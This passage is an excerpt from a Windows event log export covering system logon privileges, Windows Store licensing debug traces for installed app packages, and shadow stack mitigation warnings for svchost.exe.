provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:10.765\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:10.793\t100\tClipSVC service is starting.  Caller: TriggerStarted\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:43:10.794\t210\tCreated Desktop AppX container {245CDD4B-A8C9-11F1-B7FF-289200F24A99} for package MSTeams_26093.415.4620.1935_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:43:10.794\t211\tAdded process 11916 to Desktop AppX container 245cdd4b-a8c9-11f1-b7ff-289200f24a99 for package MSTeams_26093.415.4620.1935_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:43:10.796\t101\tClipSVC service is running.  Version 10.0.26100.9168\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:43:10.805\t8001\t\"Considering License ID {DE7849EA-B8E4-60D1-C780-7B0969A99E76} for content ID 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.805\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"b7757af6-9e6d-4d21-8272-c9137a2e9145\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.805\t8001\t\"Accepting key with License ID {DE7849EA-B8E4-60D1-C780-7B0969A99E76} for Content ID 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.805\t8001\t\"Returning key document for contentid 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.806\t8001\t\"Getting lease for 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.807\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.807\t8001\t\"Adding lease {941FBCC0-EC32-D9CB-EB46-FC3AE38EC79B} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.807\t8001\t\"Returning 1 lease documents for contentid 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.807\t8001\t\"lease = 0x831ac208, usage = 268435456, policy = 1, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.807\t8011\t0x21f831d3840: 3380: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8001\t\"lease = 0x831ac208, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8001\t\"Lease Machine: 0000021F8312A600: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8001\t\"Set results for lease = 0x831ac208, policy = 1, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x831ac208\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8012\t0x21f831d3840: 3380: Key:NegotiatingUnleased Change: Key:Valid => 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8011\t0x21f8312a620: 3380: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:UpdateLeaseDocument => Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8012\t0x21f8312a620: 3380: Lease:Initial Change: Lease:Valid => {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"b7757af6-9e6d-4d21-8272-c9137a2e9145\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8001\t\"Updating lease timer for {1173A7B1-89F2-09CC-0563-CDED7D7397B9} to expire @ 2026-09-05T02:01:48Z (jitter was 18.636007 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8001\t\"Added timer for {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8011\t0x21f8312a620: 3380: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8011\t0x21f831d3840: 3380: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8001\t\"ReactiveLicensingResult: 0x00000000 for A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6, 79ms\nFunction: LogReactiveLicensingResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\telemetry.cpp (512)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.814\t8001\t\"Licensing package Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe (3)\nFunction: OneStoreApplicationLicenseManager::GetLicenseForInstalledPackage\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (120)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.815\t8001\t\"Licensing EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.815\t8001\t\"0000021F831D3050: Key Machine for content: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.815\t8011\t0x21f83133e68: 19344: RootMachine: Dispatch: Root:Connect => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.815\t8011\t0x21f831d3070: 15996: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.815\t8001\t\"0000021F831D3050: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.815\t8012\t0x21f831d3070: 15996: Key:Initial Change: Key:NegotiatingUnleased => EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.816\t8001\t\"Considering License ID {0F8E2CD5-B8EB-7A22-B9E9-9B1183FA0A84} for content ID EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.817\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"6ead4a77-d076-4866-9188-621a5b1f414f\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.817\t8001\t\"Accepting key with License ID {0F8E2CD5-B8EB-7A22-B9E9-9B1183FA0A84} for Content ID EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.817\t8001\t\"Returning key document for contentid EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.817\t8001\t\"Getting lease for EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.819\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.819\t8001\t\"Adding lease {A900C622-99E6-0D09-3F2B-FC30E2F4563B} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.819\t8001\t\"Returning 1 lease documents for contentid EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.819\t8001\t\"lease = 0x831acdd8, usage = 536870912, policy = 2147483647, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.819\t8001\t\"lease = 0x831acdd8, quality = 1073741824\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (935)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.819\t8001\t\"content is alreadyLicensed, lease is cached\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (942)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.819\t8011\t0x21f831d3070: 15996: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.820\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 8552) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf5f37243, module offset: 0x17243, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x22298f5ea80, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:43:10.820\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 8552) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf5f2fda9, module offset: 0xfda9, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x22298f5c180, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:43:10.820\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 8552) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf5f390c3, module offset: 0x190c3, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x22298f5c189, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:43:10.820\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 8552) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf5f306ff, module offset: 0x106ff, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x22298f5c1a8, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:43:10.820\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 8552) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf5f289fd, module offset: 0x89fd, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x22298f5c1a0, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:43:10.825\t8001\t\"lease = 0x831acdd8, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8001\t\"Lease Machine: 0000021F8312A800: {7BA318A1-DC47-F731-723C-537E883DC563}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8001\t\"Set results for lease = 0x831acdd8, policy = 2147483647, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8011\t0x21f8312a820: 18884: {7BA318A1-DC47-F731-723C-537E883DC563}: Dispatch: Lease:UpdateLeaseDocument => Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8012\t0x21f8312a820: 18884: Lease:Initial Change: Lease:Valid => {7BA318A1-DC47-F731-723C-537E883DC563}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x831acdd8\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8012\t0x21f831d3070: 15996: Key:NegotiatingUnleased Change: Key:Valid => EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"6ead4a77-d076-4866-9188-621a5b1f414f\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8001\t\"Decoding: 